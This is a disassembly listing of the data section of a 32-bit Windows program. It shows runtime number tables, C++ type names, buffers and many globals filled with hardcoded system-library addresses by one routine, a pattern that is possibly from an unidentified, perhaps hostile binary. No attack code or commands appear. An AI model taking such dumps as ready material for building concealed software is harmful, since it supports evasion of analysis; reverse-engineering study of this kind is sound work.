dword_43D810 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424D12o
dword_43D828 dd 2 dup(0) ; DATA XREF: ___multtenpow12+7o
dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
dd 400FC350h, 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_43D988 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: ___multtenpow12+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh
off_43DAE4 dd offset off_427CEC ; DATA XREF: .rdata:00427EC4o
; .rdata:00427FB0o
dd 0
a_?avexception@ db '.?AVexception@@',0
off_43DAFC dd offset off_427CEC ; DATA XREF: .rdata:off_427D78o
; .rdata:00427DB8o ...
dd 0
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_43DB1C dd offset off_427CEC ; DATA XREF: .rdata:off_427DC0o
; .rdata:00427E04o ...
dd 0
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_43DB3C dd offset off_427CEC ; DATA XREF: .rdata:off_427E0Co
; .rdata:00427E50o ...
dd 0
a_?avlength_err db '.?AVlength_error@std@@',0
align 10h
off_43DB60 dd offset off_427CEC ; DATA XREF: .rdata:off_427E58o
; .rdata:00427E94o
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)
align 10h
dword_43DB80 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o
; char byte_43DB88
byte_43DB88 db 0 ; DATA XREF: sub_40111D+62o
; WinMain(x,x,x,x)+24Do ...
align 10h
; char dword_43DB90[]
dword_43DB90 dd 0 ; DATA XREF: WinMain(x,x,x,x)+38Fo
; sub_401ACD+AECo ...
dd 5 dup(0)
dword_43DBA8 dd 0 ; DATA XREF: sub_401ACD+B48r
; sub_415C40+60r
dd 2D9h dup(0)
dword_43E710 dd 0 ; DATA XREF: sub_401ACD+5D8Cr
; sub_401ACD+5E61r ...
dd 7Fh dup(0)
dword_43E910 dd 0 ; DATA XREF: sub_40B3BA+41w
; sub_40B4F5+40w ...
dword_43E914 dd 0 ; DATA XREF: sub_40B3BA+47w
; sub_40B4F5+46w ...
dword_43E918 dd 0 ; DATA XREF: sub_40B3BA+52w
; sub_40B4F5+3Ar ...
dword_43E91C dd 0 ; DATA XREF: sub_40111D+Cr
; sub_4017ED+B9w ...
dword_43E920 dd 0 ; DATA XREF: sub_40B4F5+75r
; sub_40B6D6+2Aw ...
dword_43E924 dd 0 ; DATA XREF: WinMain(x,x,x,x)+3DEw
; WinMain(x,x,x,x)+456w ...
byte_43E928 db 0 ; DATA XREF: sub_4017ED+91o
; sub_401ACD+5CD7r ...
align 4
dd 1B89h dup(0)
dword_445750 dd 473Ch dup(0) ; DATA XREF: .data:off_43492Co
db 0
byte_457441 db 3 dup(0) ; DATA XREF: .data:off_43902Co
dd 0E306h dup(0)
dword_49005C dd 937Eh dup(0) ; DATA XREF: .data:off_432948o
db 0
byte_4B4E55 db 3 dup(0) ; DATA XREF: .data:off_43165Co
dd 0FBh dup(0)
db 0
byte_4B5245 db 3 dup(0) ; DATA XREF: .data:off_438E98o
dd 5932h dup(0)
dword_4CB710 dd 542h ; DATA XREF: sub_40111D+FDw
; sub_40B3BA+13o ...
dword_4CB714 dd 1Eh ; DATA XREF: WinMain(x,x,x,x)+3Dw
; sub_401ACD:loc_404494r ...
dword_4CB718 dd 0 ; DATA XREF: WinMain(x,x,x,x):loc_4016FFo
; char Dest[]
Dest db 80h dup(0) ; DATA XREF: WinMain(x,x,x,x)+495o
; WinMain(x,x,x,x)+52Fo ...
; char byte_4CB79C[]
byte_4CB79C db 40h dup(0) ; DATA XREF: WinMain(x,x,x,x)+4ABo
; char byte_4CB7DC[]
byte_4CB7DC db 90h dup(0) ; DATA XREF: WinMain(x,x,x,x)+4C2o
dword_4CB86C dd 0 ; DATA XREF: WinMain(x,x,x,x)+4B6w
; WinMain(x,x,x,x)+546w ...
dword_4CB870 dd 0 ; DATA XREF: WinMain(x,x,x,x)+4D5w
align 10h
byte_4CB880 db 0 ; DATA XREF: sub_401955+28r
; sub_401955+30o
align 4
dword_4CB884 dd 0 ; DATA XREF: WinMain(x,x,x,x)+4E3w
; WinMain(x,x,x,x)+4FAr ...
dword_4CB888 dd 0 ; DATA XREF: WinMain(x,x,x,x)+49Aw
; sub_401ACD+8A2r
; char word_4CB88C[]
word_4CB88C dw 0 ; DATA XREF: sub_401ACD+7BAFo
; .text:0040AFA9o ...
align 10h
dword_4CB890 dd 77C72C6Bh ; DATA XREF: sub_409909+4A7w
; sub_409909+4EBr
dword_4CB894 dd 77EBA994h ; DATA XREF: sub_409909+65w
; sub_419C09+166r
dword_4CB898 dd 7622A3F4h ; DATA XREF: sub_409909+80Bw
; sub_409909+880r ...
dword_4CB89C dd 71C45229h ; DATA XREF: sub_409909+9D8w
; sub_409909+A43r ...
dword_4CB8A0 dd 71C24870h ; DATA XREF: sub_409909+98Aw
; sub_409909+A13r ...
dword_4CB8A4 dd 77C71BB0h ; DATA XREF: sub_409909+48Dw
; sub_409909+4DBr
dword_4CB8A8 dd 77D4808Bh ; DATA XREF: sub_409909+213w
; sub_409909+234r ...
dword_4CB8AC dd 71C4502Ch ; DATA XREF: sub_409909+9CBw
; sub_409909+A3Br ...
dword_4CB8B0 dd 77DE801Bh ; DATA XREF: sub_409909+372w
; sub_409909+3C7r ...
dword_4CB8B4 dd 77DDACABh ; DATA XREF: sub_409909+40Fw
; sub_41AF8F+11Er
dword_4CB8B8 dd 77DE8075h ; DATA XREF: sub_409909+37Fw
; sub_409909+3CFr ...
dword_4CB8BC dd 77DD7496h ; DATA XREF: sub_409909+3C0w
; sub_4191DB+ADr
dword_4CB8C0 dd 71AB1B7Bh ; DATA XREF: sub_409909+55Aw
; sub_40FAD6+115r ...
dword_4CB8C4 dd 77E686CCh ; DATA XREF: sub_409909+72w
; sub_409909+D2r ...
dword_4CB8C8 dd 71C2498Bh ; DATA XREF: sub_409909+97Dw
; sub_409909+A06r ...
dword_4CB8CC dd 77DDAB2Fh ; DATA XREF: sub_409909+3A6w
; sub_409909+3E7r ...
dword_4CB8D0 dd 7620E8C3h ; DATA XREF: sub_409909+859w
; sub_409909+8ACr ...
dword_4CB8D4 dd 77DD23D7h ; DATA XREF: sub_409909+2A5w
; sub_409909+2F0r
dword_4CB8D8 dd 76214750h ; DATA XREF: sub_409909+84Cw
; sub_409909+8A4r ...
dword_4CB8DC dd 77E6D75Bh ; DATA XREF: sub_409909+B3w
dword_4CB8E0 dd 7620BD61h ; DATA XREF: sub_409909+866w
; sub_409909+8B4r ...
dword_4CB8E4 dd 71AB60C9h ; DATA XREF: sub_409909+54Dw
; sub_409909+6D0r ...
dword_4CB8E8 dd 77EBA6E9h ; DATA XREF: sub_409909+58w
; sub_409909+CAr ...
dword_4CB8EC dd 76D62A58h ; DATA XREF: sub_409909+934w
; sub_413E10+11Ar
dword_4CB8F0 dd 76F36EAAh ; DATA XREF: sub_401ACD:loc_403ECBr
; sub_409909+A95w ...
dword_4CB8F4 dd 77E802FCh ; DATA XREF: sub_409909+A6w
; sub_409909+F2r
dword_4CB8F8 dd 77C75455h ; DATA XREF: sub_409909+480w
; sub_409909+4D3r
dword_4CB8FC dd 71AB12A7h ; DATA XREF: sub_409909+5F6w
; sub_40C267+20r ...
dword_4CB900 dd 71C574FAh ; DATA XREF: sub_409909+9BEw
; sub_409909+A33r
dword_4CB904 dd 71AB1746h ; DATA XREF: sub_409909+5E9w
; sub_409909+754r ...
dword_4CB908 dd 71C21CA3h ; DATA XREF: sub_409909+A0Cw
dword_4CB90C dd 71B28D0Dh ; DATA XREF: sub_409909+B50w
; sub_40DC41+9Ar
dword_4CB910 dd 762211EFh ; DATA XREF: sub_409909+7FEw
; sub_409909+86Dr ...
dword_4CB914 dd 77D902E3h ; DATA XREF: sub_409909+1B3w
; sub_40B5B5+3Do ...
dword_4CB918 dd 71C2FA86h ; DATA XREF: sub_409909+997w
; sub_409909+A1Br ...
dword_4CB91C dd 77DE1291h ; DATA XREF: sub_409909+38Cw
; sub_409909+3D7r ...
dword_4CB920 dd 77E2C1B3h ; DATA XREF: sub_409909+399w
; sub_409909+3DFr ...
dword_4CB924 dd 73B81E3Bh ; DATA XREF: sub_409909+C85w
; sub_409909+C8Cr
dword_4CB928 dd 71ABF628h ; DATA XREF: sub_409909+6ACw
; sub_4111C0+D0r
dword_4CB92C dd 71AB1836h ; DATA XREF: sub_40111D+1Dr
; sub_40111D+23r ...
dword_4CB930 dd 77C72889h ; DATA XREF: sub_409909+4B4w
dword_4CB934 dd 71C453F8h ; DATA XREF: sub_409909+9E5w
; sub_409909+A4Br ...
dword_4CB938 dd 77DD5C55h ; DATA XREF: sub_401000+51r
; sub_409909+2B2w ...
dword_4CB93C dd 77E96645h ; DATA XREF: sub_409909+7Fw
; sub_409909+DAr ...
dword_4CB940 dd 77428B97h ; DATA XREF: sub_401ACD+5840r
; sub_401ACD+781Er ...
dword_4CB944 dd 71AB41DAh ; DATA XREF: WinMain(x,x,x,x)+8Cr
; sub_401ACD+5037r ...
dword_4CB948 dd 762059A3h ; DATA XREF: sub_409909+825w
; sub_409909+890r ...
dword_4CB94C dd 71C4A1B4h ; DATA XREF: sub_409909+9A4w
; sub_409909+A23r
dword_4CB950 dd 1F7CD214h ; DATA XREF: sub_409909+C0Ew
; sub_409909+C3Fr
dword_4CB954 dd 77E09134h ; DATA XREF: sub_409909+2CCw
; sub_418A2E+47r
dword_4CB958 dd 77D4456Bh ; DATA XREF: sub_409909+22Dw
; sub_4126A7+40r ...
dword_4CB95C dd 76D629BBh ; DATA XREF: sub_409909+91Aw
; sub_409909+92Er ...
dword_4CB960 dd 1F7B9D96h ; DATA XREF: sub_409909+C28w
dword_4CB964 dd 77E09070h ; DATA XREF: sub_409909+2D9w
; sub_418A2E+4Fr
dword_4CB968 dd 71AB1740h ; DATA XREF: sub_409909+574w
; sub_409909+6E8r ...
dword_4CB96C dd 7620AFB6h ; DATA XREF: sub_409909+83Fw
; sub_409909+873r
dword_4CB970 dd 77D5C13Ah ; DATA XREF: sub_409909+220w
; sub_409909+23Cr ...
dword_4CB974 dd 77D45B19h ; DATA XREF: sub_409909+172w
; sub_409909+1C2r
dword_4CB978 dd 71AB157Eh ; DATA XREF: sub_401ACD+1DCEr
; sub_401ACD+59F9r ...
dword_4CB97C dd 71AB3E5Dh ; DATA XREF: sub_4017ED+C4r
; sub_401ACD+50C1r ...
dword_4CB980 dd 71AB14DCh ; DATA XREF: sub_409909+567w
; sub_409909+6DCr ...
dword_4CB984 dd 0CC0004h ; DATA XREF: sub_409909+8DBw
; sub_409909:loc_40A202w ...
dword_4CB988 dd 77DD590Bh ; DATA XREF: sub_401000+26r
; sub_409909+28Bw ...
dword_4CB98C dd 71ABD755h ; DATA XREF: sub_401ACD+77AFr
; sub_409909+69Fw ...
dword_4CB990 dd 77DF7311h ; DATA XREF: sub_409909+32Dw
; sub_409909+341r ...
dword_4CB994 dd 77DDA2AFh ; DATA XREF: sub_409909+3B3w
; sub_409909+3EFr ...
dword_4CB998 dd 1F7CD927h ; DATA XREF: sub_409909+C01w
; sub_409909+C37r
dword_4CB99C dd 76206853h ; DATA XREF: sub_409909+818w
; sub_409909+888r ...
dword_4CB9A0 dd 77D4932Ch ; DATA XREF: sub_409909+206w
; sub_409909+227r ...
dword_4CB9A4 dd 77D5E310h ; DATA XREF: sub_409909+18Cw
; sub_409909+1D2r ...
dword_4CB9A8 dd 76206B7Fh ; DATA XREF: sub_409909+832w
; sub_409909+898r ...
dword_4CB9AC dd 71AB1444h ; DATA XREF: sub_409909+624w
; sub_409909+774r ...
dword_4CB9B0 dd 77DD189Ah ; DATA XREF: sub_401000+5Ar
; sub_409909+2BFw ...
dword_4CB9B4 dd 71AB3F8Dh ; DATA XREF: sub_409909+66Bw
; sub_409909+79Cr ...
dword_4CB9B8 dd 77DD5D20h ; DATA XREF: sub_409909+320w
; sub_409909+334r ...
dword_4CB9BC dd 71AB1890h ; DATA XREF: sub_409909+644w
; sub_409909+784r ...
dword_4CB9C0 dd 77C76B34h ; DATA XREF: sub_409909+44Cw
; sub_409909+4AEr
dword_4CB9C4 dd 77D5E38Ch ; DATA XREF: sub_409909+199w
; sub_409909+1DAr ...
dword_4CB9C8 dd 77DDA20Bh ; DATA XREF: sub_409909+365w
; sub_409909+3BAr ...
dword_4CB9CC dd 76F36EEBh ; DATA XREF: sub_409909+AA2w
dword_4CB9D0 dd 71AB12A7h ; DATA XREF: sub_409909+5DCw
; sub_409909+748r ...
dword_4CB9D4 dd 71AB1746h ; DATA XREF: sub_4017ED+3Er
; sub_401ACD+5073r ...
dword_4CB9D8 dd 77EBA595h ; DATA XREF: sub_409909+4Bw
; sub_409909+C2r ...
dword_4CB9DC dd 77C7531Dh ; DATA XREF: sub_409909+473w
; sub_409909+4CBr
dword_4CB9E0 dd 77D4BDCAh ; DATA XREF: sub_409909+165w
; sub_409909+1BAr ...
dword_4CB9E4 dd 71C3516Ah ; DATA XREF: sub_409909+9FFw
; sub_409909+A5Br ...
dword_4CB9E8 dd 71AB32CAh ; DATA XREF: sub_409909+685w
; sub_409909+7ACr ...
dword_4CB9EC dd 71AB5690h ; DATA XREF: sub_401955+D1r
; sub_401ACD+50D6r ...
dword_4CB9F0 dd 1F7CB8F8h ; DATA XREF: sub_409909+C1Bw
; sub_409909+C47r
dword_4CB9F4 dd 77EBB1E7h ; DATA XREF: sub_409909+3Ew
; sub_409909+BAr ...
dword_4CB9F8 dd 77DD59F0h ; DATA XREF: sub_401000+45r
; sub_409909+298w ...
dword_4CB9FC dd 71AB5DE2h ; DATA XREF: sub_409909+651w
; sub_409909+78Cr ...
dword_4CBA00 dd 71AB3ECEh ; DATA XREF: sub_409909+637w
; sub_409909+77Cr ...
dword_4CBA04 dd 73B81B0Fh ; DATA XREF: sub_409909+C92w
dword_4CBA08 dd 76204E4Dh ; DATA XREF: sub_409909+879w
; sub_4167A0+4DCr ...
dword_4CBA0C dd 0 ; DATA XREF: sub_409909+112w
dword_4CBA10 dd 1F7D886Ah ; DATA XREF: sub_409909+BE7w
; sub_409909+C22r
dword_4CBA14 dd 71AB12F8h ; DATA XREF: sub_401ACD+2F9Br
; sub_401ACD+5EB8r ...
dword_4CBA18 dd 77C76551h ; DATA XREF: sub_409909+459w
; sub_409909+4BBr
dword_4CBA1C dd 77C729E2h ; DATA XREF: sub_409909+49Aw
; sub_409909+4E3r
dword_4CBA20 dd 77C7212Fh ; DATA XREF: sub_409909+466w
; sub_409909+4C3r
dword_4CBA24 dd 71AB1AF4h ; DATA XREF: sub_401955+89r
; sub_401ACD+50F3r ...
dword_4CBA28 dd 77D5E303h ; DATA XREF: sub_409909+1A6w
; sub_409909+1E2r ...
dword_4CBA2C dd 71C4576Ch ; DATA XREF: sub_409909+9F2w
; sub_409909+A53r ...
dword_4CBA30 dd 77D4702Fh ; DATA XREF: sub_409909+158w
; sub_409909+1ADr ...
dword_4CBA34 dd 77E6C0E3h ; DATA XREF: sub_409909+8Cw
; sub_409909+E2r ...
dword_4CBA38 dd 71AB1ED3h ; DATA XREF: sub_409909+610w
; sub_409909+764r ...
dword_4CBA3C dd 71B2A381h ; DATA XREF: sub_409909+B43w
; sub_409909+B5Fr
dword_4CBA40 dd 77DDA595h ; DATA XREF: sub_409909+33Aw
; sub_419B9E+55r
dword_4CBA44 dd 77DD22EAh ; DATA XREF: sub_409909+27Ew
; sub_409909+2D3r ...
dword_4CBA48 dd 773F97B0h ; DATA XREF: sub_409909+BAAw
dword_4CBA4C dd 76D67A29h ; DATA XREF: sub_409909+AECw
; sub_40A928+CEr
dword_4CBA50 dd 76D674FAh ; DATA XREF: sub_409909+ADFw
; sub_409909+AE6r ...
dword_4CBA54 dd 71AB3C22h ; DATA XREF: sub_4017ED+A6r
; sub_401ACD+5052r ...
dword_4CBA58 dd 71AB2BBFh ; DATA XREF: sub_401ACD+5044r
; sub_401ACD+77D6r ...
dword_4CBA5C dd 1F7BA3A9h ; DATA XREF: sub_409909+BF4w
; sub_409909+C2Fr
dword_4CBA60 dd 71AB401Ch ; DATA XREF: sub_401ACD+1DF4r
; sub_401ACD+5A1Fr ...
dword_4CBA64 dd 71C214BAh ; DATA XREF: sub_409909+9B1w
; sub_409909+A2Br ...
dword_4CBA68 dd 71AB868Dh ; DATA XREF: sub_409909+65Ew
; sub_409909+794r ...
dword_4CBA6C dd 71AB1A6Dh ; DATA XREF: sub_40111D+12r
; sub_4017ED+D0r ...
dword_4CBA70 dd 71AB155Ah ; DATA XREF: sub_409909+59Bw
; sub_409909+70Cr ...
dword_4CBA74 dd 71B22C25h ; DATA XREF: sub_409909+B36w
; sub_409909+B57r ...
dword_4CBA78 dd 71AB5A01h ; DATA XREF: sub_409909+540w
; sub_409909+6C4r ...
dword_4CBA7C dd 71B2ACCBh ; DATA XREF: sub_409909+B29w
; sub_409909+B4Ar
dword_4CBA80 dd 77E78C17h ; DATA XREF: WinMain(x,x,x,x)+52r
; sub_409909+31w ...
dword_4CBA84 dd 77D49A11h ; DATA XREF: sub_409909+17Fw
; sub_409909+1CAr
dd 0
dword_4CBA8C dd 76D62A37h ; DATA XREF: sub_409909+927w
; sub_409909+93Br ...
dword_4CBA90 dd 77E6CBF9h ; DATA XREF: sub_409909+99w
; sub_409909+EAr ...
dword_4CBA94 dd 0 ; DATA XREF: sub_409909:loc_409A07w
; sub_409909+12Bw ...
dword_4CBA98 dd 0 ; DATA XREF: sub_409909+126w
; sub_40A5C5+1Cr
dword_4CBA9C dd 0 ; DATA XREF: sub_409909:loc_409AF7w
; sub_409909:loc_409B5Ew ...
dword_4CBAA0 dd 0 ; DATA XREF: sub_409909+250w
; sub_40A5C5+50r
dword_4CBAA4 dd 0 ; DATA XREF: WinMain(x,x,x,x)+349r
; sub_401ACD+4468r ...
dword_4CBAA8 dd 0 ; DATA XREF: sub_409909+41Ew
; sub_40A5C5+84r
dword_4CBAAC dd 0 ; DATA XREF: sub_409909:loc_409E0Dw
; sub_40A5C5:loc_40A675r
dword_4CBAB0 dd 0 ; DATA XREF: sub_409909+4FFw
; sub_40A5C5+B8r
dword_4CBAB4 dd 0 ; DATA XREF: sub_409909:loc_40A0DEw
; sub_40A5C5:loc_40A6A9r
dword_4CBAB8 dd 0 ; DATA XREF: sub_409909+7D0w
; sub_40A5C5+ECr
dword_4CBABC dd 0 ; DATA XREF: sub_409909:loc_40A1C9w
; sub_409909+8EFw ...
dword_4CBAC0 dd 0 ; DATA XREF: sub_409909+8EAw
; sub_40A5C5+120r
dword_4CBAC4 dd 0 ; DATA XREF: sub_401ACD:loc_406E35r
; sub_409909:loc_40A25Dw ...
dword_4CBAC8 dd 0 ; DATA XREF: sub_409909+94Fw
; sub_40A5C5+154r
dword_4CBACC dd 0 ; DATA XREF: sub_401ACD+4470r
; sub_409909:loc_40A379w ...
dword_4CBAD0 dd 0 ; DATA XREF: sub_409909+A6Bw
; sub_40A5C5+188r
dword_4CBAD4 dd 0 ; DATA XREF: sub_409909:loc_40A3C3w
; sub_40A5C5:loc_40A779r
dword_4CBAD8 dd 0 ; DATA XREF: sub_409909+AB5w
; sub_40A5C5+1BCr
dword_4CBADC dd 0 ; DATA XREF: sub_409909:loc_40A40Dw
; sub_40A5C5:loc_40A7ADr
dword_4CBAE0 dd 0 ; DATA XREF: sub_409909+AFFw
; sub_40A5C5+1F0r
dword_4CBAE4 dd 0 ; DATA XREF: sub_409909:loc_40A481w
; sub_40A5C5:loc_40A7E1r
dword_4CBAE8 dd 0 ; DATA XREF: sub_409909+B73w
; sub_40A5C5+224r
dword_4CBAEC dd 0 ; DATA XREF: sub_409909:loc_40A4CBw
; sub_40A5C5:loc_40A815r
dword_4CBAF0 dd 0 ; DATA XREF: sub_409909+BBDw
; sub_40A5C5+258r
dword_4CBAF4 dd 0 ; DATA XREF: sub_409909:loc_40A569w
; sub_40A5C5:loc_40A849r
dword_4CBAF8 dd 0 ; DATA XREF: sub_409909+C5Bw
; sub_40A5C5+28Cr
dword_4CBAFC dd 0 ; DATA XREF: sub_409909:loc_40A5B3w
; sub_40A5C5:loc_40A87Dr
dword_4CBB00 dd 0 ; DATA XREF: sub_409909+CA5w
; sub_40A5C5+2C0r
; char byte_4CBB04[]
byte_4CBB04 db 14h dup(0) ; DATA XREF: sub_40AA06+32o
byte_4CBB18 db 0 ; DATA XREF: sub_40B2B3+6Ar
; sub_40B2B3+98w
align 10h
dword_4CBB20 dd 0 ; DATA XREF: sub_40BD1A+18r
; sub_40C2AF+92w ...
dword_4CBB24 dd 0 ; DATA XREF: sub_40C3E8+4Dr
; sub_40C600+D9w ...
dd 7FEh dup(0)
dword_4CDB20 dd 6 dup(0) ; DATA XREF: sub_40C3E8+D2o
; sub_40C3E8+13Bo ...
dword_4CDB38 dd 0 ; DATA XREF: sub_40BD91+2C4w
; sub_40BD91+348o
dword_4CDB3C dd 0 ; DATA XREF: sub_40BD91+33Ew
; sub_40BD91+35Ar
dword_4CDB40 dd 0 ; DATA XREF: sub_40BD91+2CFw
dword_4CDB44 dd 0 ; DATA XREF: sub_40BD91+2B9w
; sub_40BD91:loc_40C0A6r
; char byte_4CDB48[]
byte_4CDB48 db 80h dup(0) ; DATA XREF: sub_40BD91+2E2o
; sub_40BD91+302o
dword_4CDBC8 dd 0 ; DATA XREF: sub_40BD91+2D5w
dword_4CDBCC dd 0 ; DATA XREF: sub_40BD91+2EFw
; sub_40BD91+30Fw
dword_4CDBD0 dd 0 ; DATA XREF: sub_40BD91:loc_40C101r
align 8
dword_4CDBD8 dd 0 ; DATA XREF: sub_40BD91+82w
; sub_40BD91+101o
dword_4CDBDC dd 41h dup(0) ; DATA XREF: sub_40BD91+41o
; char byte_4CDCE0[]
byte_4CDCE0 db 104h dup(0) ; DATA XREF: sub_40BD91+69o
dword_4CDDE4 dd 0 ; DATA XREF: sub_40BD91+F7w
; sub_40BD91+113r
dword_4CDDE8 dd 0 ; DATA XREF: sub_40BD91+52w
dword_4CDDEC dd 0 ; DATA XREF: sub_40BD91+4Dw
; sub_40BD91+D4r
; char byte_4CDDF0[]
byte_4CDDF0 db 80h dup(0) ; DATA XREF: sub_40BD91+9Ao
; sub_40BD91+BAo
dword_4CDE70 dd 0 ; DATA XREF: sub_40BD91+8Fw
dword_4CDE74 dd 0 ; DATA XREF: sub_40BD91+A7w
; sub_40BD91+C7w
dword_4CDE78 dd 0 ; DATA XREF: sub_40BD91:loc_40BEBAr
align 10h
dword_4CDE80 dd 0 ; DATA XREF: sub_40BD91+1A5w
; sub_40BD91+225o
dword_4CDE84 dd 41h dup(0) ; DATA XREF: sub_40BD91+167o
; char byte_4CDF88[]
byte_4CDF88 db 104h dup(0) ; DATA XREF: sub_40BD91+18Co
dword_4CE08C dd 0 ; DATA XREF: sub_40BD91+21Bw
; sub_40BD91+237r
dword_4CE090 dd 0 ; DATA XREF: sub_40BD91+17Aw
dword_4CE094 dd 0 ; DATA XREF: sub_40BD91+175w
; sub_40BD91+1F8r
; char byte_4CE098[]
byte_4CE098 db 80h dup(0) ; DATA XREF: sub_40BD91+1BEo
; sub_40BD91+1DEo
dword_4CE118 dd 0 ; DATA XREF: sub_40BD91+1B1w
dword_4CE11C dd 0 ; DATA XREF: sub_40BD91+1CBw
; sub_40BD91+1EBw
dword_4CE120 dd 0 ; DATA XREF: sub_40BD91:loc_40BFDEr
align 8
dword_4CE128 dd 0 ; DATA XREF: sub_40BD91+417w
; sub_40BD91+470o
; char byte_4CE12C[]
byte_4CE12C db 288h dup(0) ; DATA XREF: sub_40BD91+405o
; char byte_4CE3B4[]
byte_4CE3B4 db 104h dup(0) ; DATA XREF: sub_40BD91+3CFo
dword_4CE4B8 dd 0 ; DATA XREF: sub_40BD91+3FCw
; sub_40BD91+423r
align 10h
dword_4CE4C0 dd 0 ; DATA XREF: sub_40BD91+466w
; sub_40BD91+482r
dword_4CE4C4 dd 0 ; DATA XREF: sub_40BD91+429w
dword_4CE4C8 dd 0 ; DATA XREF: sub_40BD91+436w
dword_4CE4CC dd 0 ; DATA XREF: sub_40BD91+3F6w
dd 0
dword_4CE4D4 dd 0 ; DATA XREF: sub_40BD91:loc_40C229r
dd 0
dword_4CE4DC dd 0 ; DATA XREF: sub_40B9DD+Er
; sub_40B9DD+32r ...
dword_4CE4E0 dd 0 ; DATA XREF: sub_40B9DD+9r
; sub_40B9DD+26r ...
; char byte_4CE4E4[]
byte_4CE4E4 db 208h dup(0) ; DATA XREF: sub_40C85F+8Do
dword_4CE6EC dd 2 dup(0) ; DATA XREF: sub_40D1C8+68o
dword_4CE6F4 dd 0 ; DATA XREF: sub_40DB5E+9Eo
dword_4CE6F8 dd 0 ; DATA XREF: sub_40EED1+1Fr
; sub_40EF1C+BCo ...
dword_4CE6FC dd 0 ; DATA XREF: sub_40EF1C+B7o
; sub_40EF1C+DAr ...
dword_4CE700 dd 0 ; DATA XREF: sub_40EF1C+9Ao
; sub_40EF1C+CFr ...
dword_4CE704 dd 0 ; DATA XREF: sub_40EE8E+35r
; sub_40EF1C+95o ...
dword_4CE708 dd 0 ; DATA XREF: sub_40EE8E+17r
; sub_40EED1+3Dr ...
align 10h
dword_4CE710 dd 409h ; DATA XREF: sub_40BD91+2AEr
; sub_40F0F1+10w ...
align 8
dword_4CE718 dd 0 ; DATA XREF: sub_40BA49+1Cr
; sub_40F108+27Cw
dword_4CE71C dd 0 ; DATA XREF: sub_40F9BF+2Aw
; sub_40F9BF+51r ...
dd 3 dup(0)
dword_4CE72C dd 0 ; DATA XREF: sub_4111C0+146r
dd 0
dword_4CE734 dd 0 ; DATA XREF: sub_412EDD+4w
; sub_412EDD+9o
align 10h
byte_4CE740 db 0 ; DATA XREF: sub_413A29+1D3w
; sub_413A29+2D2o
align 2
word_4CE742 dw 0 ; DATA XREF: sub_413A29+1E3w
word_4CE744 dw 0 ; DATA XREF: sub_413A29+1E9w
word_4CE746 dw 0 ; DATA XREF: sub_413A29+1F0w
byte_4CE748 db 0 ; DATA XREF: sub_413A29+1F7w
byte_4CE749 db 0 ; DATA XREF: sub_413A29+1FEw
word_4CE74A dw 0 ; DATA XREF: sub_413A29+204w
dword_4CE74C dd 0 ; DATA XREF: sub_413A29+234w
; sub_413A29+250w
dword_4CE750 dd 0 ; DATA XREF: sub_413A29+258w
byte_4CE754 db 0 ; DATA XREF: sub_413A29+26Aw
byte_4CE755 db 0 ; DATA XREF: sub_413A29+27Dw
word_4CE756 dw 0 ; DATA XREF: sub_413A29+295w
word_4CE758 dw 0 ; DATA XREF: sub_413A29+2A4w
